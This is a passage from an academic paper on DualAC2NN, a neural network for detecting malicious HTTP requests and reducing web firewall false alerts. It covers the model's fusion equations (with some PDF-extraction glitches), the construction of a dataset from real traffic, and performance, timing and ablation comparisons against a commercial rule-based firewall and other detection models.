CirMinter f ace = circ(νimmediate,inter f ace)

CirMpayload = circ(νimmediate,payload)
(7)

Cip = CirMinter f ace � νimmediate,payload

Cpi = CirMpayload � νimmediate,inter f ace
(8)

˚ joint = νimmediate,inter f ace ⊕ Cip

⊕Cip ⊕ νimmediate,payload
(9)

Y = So f tmax(BatchNorm(FCθ(νjoint))) (10)
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Figure 9. Schematic diagram of circulant fusion module.

5. Evaluation

In order to evaluate the efficacy of our proposed framework, we conducted experi-
ments on a real-world dataset.

• Firstly, we conducted comparative experiments to compare the detection performance
of DualAC2NN with a rule-based commercial web application firewall (RWAF) to
verify our conjecture that through supervised-learning methods, detectors can develop
the intelligence to identify threatening attacks, see Section 5.3.

• Secondly, we conducted comparative experiments to compare our model with several
state-of-the-art models to evaluate the capability of our model to reduce false alerts,
see Section 5.3.

• Thirdly, we measured time overhead and appraised the practicability of proposed
methods on real-world application, especially the efficiency of threat response, see
Section 5.4.

• Finally, ablation experiments were conducted to further demonstrate the plausibility
of our model design with every component, see Section 5.5.

5.1. Dataset Construction

Most of existing research was performed on the dataset generated from a simulated or
ideal environment with very limited types of attacks. In particular, these datasets rarely
contain real-world attacks, network scanning samples, and brute-force attack attempts,
which are not applicable to evaluating our work.(The dataset will be available from the
author upon request soon after publication.) Therefore, the dataset used in our experiment
is derived from a traffic monitor system deployed on the edge of an enterprise network.
With days of collection, a tremendous number of raw HTTP requests were stored, involving
over 54 types of web service suites and 28 different network devices, as listed in Table 2.
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Then, we sorted the plausible attacks along with unharmful or normal messages, and
established a dataset based on weeks of manual labeling.

Table 2. Involved applications and devices in our dataset.

Type Product

WEB service

AlienVault ossim, Apache Kylin, Apache Log4j, Apache OFBiz, Apache Shiro, Apache Solr, Apache
Spark, Apache Struts, Apache Tomcat, Atlassian Confluence Server, Atlassian JIRA, Citrix Gateway,
Comtrend VR, DedeCMS, Discuz, Django, Drupal, Elasticsearch Groovy, EmpireCMS, Fortinet VPN,

FreePBX Framework, GlassFish, goahead, Hadoop yarn, IIS, Intellian Aptus Web, JBoss, Jenkins,
Joomla, MongoDB, Nagios, Nexus CMS, Nostromo Web, OpenDreamBox, Orcale weblogic,

Phpmyadmin, Phpstudy, Phpweb, SCO Openserver, Spring CMS series, Stapler, Sunhillo SureLine,
Supervisord, Symantec Web Gateway, Thinkadmin, ThinkCMF, ThinkCMS, ThinkPHP5, vBulletin,

vTiger CRM PHP webapps, WebSphere, Wordpress, ZeroShell, Zimbra Collaboration Suite

Network device

AVTECH DVR, Belkin LINKSYS series, Cisco Linksys E-series, Dlink router DIR-series, DrayTek
Vigor series, EirD1000, GPON network gateway, Grandstream GWN7610, Grandstream UCM6200,

Huawei HG532, Lilin dvr, MikroTik RouterOS, NetGear R-series, NetGear WNR-series, NETIS
WF2419, Netlink GPON GT3200-4F2P, Realtek rtl81xx SDK, Shenzhen TVT DVR, Tenda AC-series,

TP-Link AC-series, TP-Link W-series, Ubquiti ubnt AirCam, Vacron NVR, Xiaomi router, ZTE ZXV10
H180L, Zyxel CloudCNM SecuManager, ZyXEL NAS, ZyXEL P660HN

In this study, our consideration of alert fatigue mainly concentrates on the following
three cases as the aforementioned motivative examples. This is also the basis and starting
point for us to establish and label the dataset. Hence, to evaluate the ability of diverse
methods to combat false alerts, we divided the samples into two categories, according to
their threat level from the view of static audits, which was different from previous work. In
Table 3, we summarize the statistical details of our dataset.

Among those, the threatening requests contain statically valid attacks of SQL injections
(T1), XSS injections (T2), and RCE attacks (T3), covering over 314 different vulnerabilities
in listed applications.

The nonthreatening requests consist of numerous normal HTTP requests (N1), quite a
proportion of implausible attempts (N2) and unharmful scannings (N3) which are prone to
be falsely alerted just like the aforementioned examples in Section 2.2. During experiments,
the dataset is divided into training and test sets according to the 7: 3 ratio, with the aim
of ensuring that the training set and test set retain the same proportion of various types
of samples.

Table 3. Composition of our dataset.

Label Type Number

Threatening

XSS injection 603,900
SQL injection 617,000

RCE attack 627,040

Sum 1,847,940

Nonthreatening

Normal 1,500,000
Implausible attempt 220,570
Unharmful scanning 304,000

Sum 2,024,570

5.2. Experiment Configuration

All experiments were performed under the same experiment configuration, and the
details are listed in Table 4.
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Table 4. System configuration of the experimental setup.

Component Description

Central processing unit Intel Xeon E5-2678 v3
Random access memory DDR4 128 GB
Graphics processing unit RTX 3090

5.3. Performance Comparison

To evaluate the performance of the detection framework proposed in this paper,
comparative experiments were conducted on the aforementioned dataset.

During our experiments, we regard the threatening as positive and nonthreatening as
negative. Hence, the TP, TN, FP, and FN are abbreviations for true positive, true negative,
false positive, and false negative, respectively, and the performance metrics can be obtained
according to the corresponding equations as follows:

Accuracy(Acc.) =
TP + TN

TP + TN + FP + FN
(11)

Precision(Prec.) =
TP

TP + FP
(12)

Detection Rate(DR) = Recall(Rec.) =
TP

TP + FN
(13)

F1− score(F1.) =
2Precision× Recall
Precision + Recall

(14)

False positive rate(FPR) =
FP

TN + FP
(15)

The parameter manifest of the proposed DualAC2NN model are summarized in
Table 5. The same parameters are used in both the left and right channels. During training,
we set the batch size as 64, and the maximum number of epoch at 50, along with a cross-
entropy loss function and an Adam optimizer with a learning rate of 0.001.

Table 5. Parameter manifest of proposed DualAC2NN model.

Layers Parameters Activation

Attention * default additive \attention

Conv1d * filter = [128,128,128], ReLu
kernel = [3,4,5],

padding = ‘valid’,
strides = 1

Maxpooling1d * pool_size = 4, ReLu
padding = ‘valid’,

strides = 1

Concatenate * axis = −1 \

Flatten * \ \

Dense * units = 32 ReLu

Regularization * dropout (0.5) ReLu

Circluant element-wise product ReLu
circlunat as in [26]

Concatenate axis = −1 \

Dense units = 2 Softmax
The layers with * means that the parameters are applicable to both two channels.
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The performance comparison between a rule-based commercial WAF (RWAF) with
our method is shown in Table 6. The experimental results demonstrate that our proposed
DualAC2NN outperform both in DR and FPR. In addition, DualAC2NN can effectively
reduce the false alarms derived from N1, N2 and N3, and lower the FPR by around 86.37%
along with preserving a detection rate of 97.89%. This shows that RWAF is incapable of
distinguishing implausible (N2) and unharmful scanning (N3) due to the limitation of
rules, along with suffering from the overalarm of certain normal requests, as depicted
in Figures 3–5. Through supervised training, machine-learning models can develop the
empirical intelligence to deduce the attack feasibility and largely mitigate the impact
of implausible attempts and unharmful scannings on alarm determination. Meanwhile,
due to the generalization ability of machine-learning methods, the detection capacity of
threatening samples has also been improved. This means that DualAC2NN can discover
more attacks that can evade existing rules. Overall, the experiment indicates that machine-
learning-based methods can effectively learn the discrepancies between nonthreatening
and threatening requests under our experiment configurations.

Table 6. Performance comparison with a rule-based commercial WAF on test set.

Method Predicted Label
Threatening Nonthreatening

DR FPR
T1 T2 T3 N1 N2 N3

RWAF
Threatening 172,430 152,251 158,541 1266 66,171 91,200

0.8716 0.2612
Nonthreatening 8740 32,849 29,571 448,734 0 0

DualAC2NN
Threatening 176,702 180,201 185,758 587 16,649 4378

0.9789 0.0356
Nonthreatening 4468 4899 2354 449,413 49,522 86,822

To evaluate the capacity of our proposed model to mine and exploit the attack
feasibility-related characteristics and prove the effectiveness of our model design, we
compared our model with several state-of-the-art static malicious request-detection models
under the same experiment configuration. The baseline models are as follows:

• SVM: bag-of-words embedding support vector machine model with default parameters.
• Random Forest (RF): bag-of-words embedding random forest model with default pa-

rametesr.
• DeepHTTP [28]: two-channel BiLSTM followed by an attention layer, fed by a pair of a

content vector and a structure vector with a trainable embedding layer.
• Enhanced TextCNN (ECNN) [29]: TextCNN with word2vec [47] embedding to extract

features followed by an SVM layer instead of logistic regression layer for final output.
• Resnet [30]: modify Resnet to adapt to text data with word2vec embedding.

The results in Table 7 show that DualAC2NN significantly outperforms other baseline
models in accuracy, precision, recall and f1-score, while lowering the FPR by around 61.64%
along with retaining a detection rate at 97.89%. Due to the reorganization and alignment
processing, and a further circulant fusion mechanism, our model has stronger estimation
and reasoning capabilities than other state-of-the-art models. Further, we plot the receiver
operating characteristic (ROC) curve for comparison of true positive rate (TPR) vs. false
positive rate (FPR) at different classification thresholds to better examine the performance
of the proposed detection model. Figure 10 shows the ROC curves for the proposed
DualAC2NN with five other baseline models. DualAC2NN shows superior performance to
the other models under different conditions. All the above experimental results indicate
that the proposed model is able to mine and exploit hidden characteristics in request data
more effectively than other baseline models in our task. In addition, it demonstrates the
effectiveness of our model design.
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Figure 10. Comparative ROC curves of DualAC2NN with other baseline methods.

Table 7. Performance comparison with several existing methods on test set.

Method Embedding Channel Acc. Prec. Rec. F1. FPR

SVM TF-IDF \ 0.7972 0.8076 0.7549 0.7804 0.1641
RF TF-IDF \ 0.8879 0.8648 0.9068 0.8853 0.1294

DeepHTTP trainable linear layer dual 0.8921 0.8819 0.8936 0.8877 0.1093
ECNN Word2vec single 0.9328 0.9043 0.9608 0.9317 0.0928
Resnet Word2vec single 0.9138 0.8926 0.9313 0.9116 0.1022

DualAC2NN GloVe dual 0.9713 0.9617 0.9789 0.9702 0.0356

5.4. Time Overhead

Time overhead is also an important indicator besides the detection performance.
Concretely, the more alerts for real threats we can handle at the same time, the more we can
shorten the response time to a severe incident, thus reducing the possibility of alert fatigue.

To ensure the same computing environment, we compared our method with three
other baseline models that work on GPU calculations. We recorded the training time and
testing time of each model under the same configuration. Comparison of models based
on computational time is shown in Table 8, with the best values emphasized in bold. Our
DualAC2NN showed a significant advantage in both training and test time compared with
other baselines. Intuitively, DeepHttp costs more time because of its serial LSTM cells. In
addition, compared to other CNN-based model such as ECNN and Resnet, we divided
the whole request into two pieces, then the input size of single channel decreases by half.
Therefore, we can obtain smaller networks than the original CNN architecture for inputs
with the same size, which consumes less time compared to other single-channel CNN
models. The experiment shows that the average time for a single requests is controlled
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in 2.608 × 10−4 seconds under the configuration of this paper, which is acceptable in
practical applications.

Table 8. Time consumption on the training set and test set.

Method Traning Time (s) Test Time (s)

DeepHTTP 184,891 952
ECNN 63,277 352
Resnet 93,130 384

DualAC2NN 34,934 303

5.5. Ablation Studies

In this section, we demonstrate the effectiveness of the architecture design of our
framework. Our framework is composed of three critical components: request reorganiza-
tion, attention module, circulant fusion module. We conducted three groups of comparative
experiments to verify the effectiveness of those components:

• Proposed request reorganization versus random reorganization;
• Attention module versus no attention module;
• Circulant fusion module versus no circulant fusion.

We notate the method with only modifying the request reorganization into random
reorganization as Setting 1, the model with only removing the attention layer as Setting 2,
and the model with only removing the circulant fusion module as Setting 3. Furthermore,
we observed the change in performance under different settings and recorded them in
Table 9.

Table 9. Performance comparison under different settings on the test set.

Setting Acc. Prec. Rec. F1.

Setting 1 0.9426 0.9208 0.9625 0.9412
Setting 2 0.9653 0.9578 0.9700 0.9638
Setting 3 0.9488 0.9233 0.9735 0.9477

DualAC2NN 0.9713 0.9617 0.9789 0.9702

The results prove that the request reorganization and circulant fusion play an impor-
tant role in our method. We can come to a conclusion that the framework’s performance
will be significantly enhanced by semantic alignment and the further cross fusion. In
addition, the usage of an attention mechanism can also improve the performance of our
framework to a certain extent.

6. Conclusions

This paper provides a novel idea to deal with the current alert-fatigue dilemma. In con-
trast to previous methods, we guide the machine-learning model to develop some empirical
intelligence from security analysts to reduce the false alerts. To this aim, we introduce
the concept of attack feasibility covering interface sensitivity, payload maliciousness, and
their bipartite compatibility. Then, we propose a fast request-reorganization algorithm and
dual-channel neural network architecture, namely, DualAC2NN for neural computation
that integrates the attack feasibility estimation into the alert decision. Comprehensive
experiments showed the effectiveness of our method, which can outperform a commercial
rule-based WAF and some certain state-of-the-art methods in previous work. Meanwhile,
our method achieves a lower time overhead compared to a baseline model, implying the
practicability for combating real-world alert fatigue.

Overall, our study indicates that machine-learning-based methods are capable of
grasping the empirical intelligence on alert investigation to a certain extent. It is a promising
direction to combine attack feasibility estimation with malicious-request detection. This
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enables part of the job on alarm processing to be moved forward into the detection phase,
in order to reduce the generation of false positives and alleviate alert fatigue at the source.
However, there still exist some limitations in our work. Due to the restriction of the input
layer, the HTTP requests might be long enough. Our work will not show advantages
for short requests, especially when the length of interface-related strings and payload-
related strings are extremely imbalanced. Especially, the input requests must be limited to
those that are unencrypted and unobfuscated. It means that we can further improve the
framework architecture for adaption to more scenarios. In addition, through appropriate
model design, we can mine and exploit more underlying characteristics to obtain better
performance in the future.
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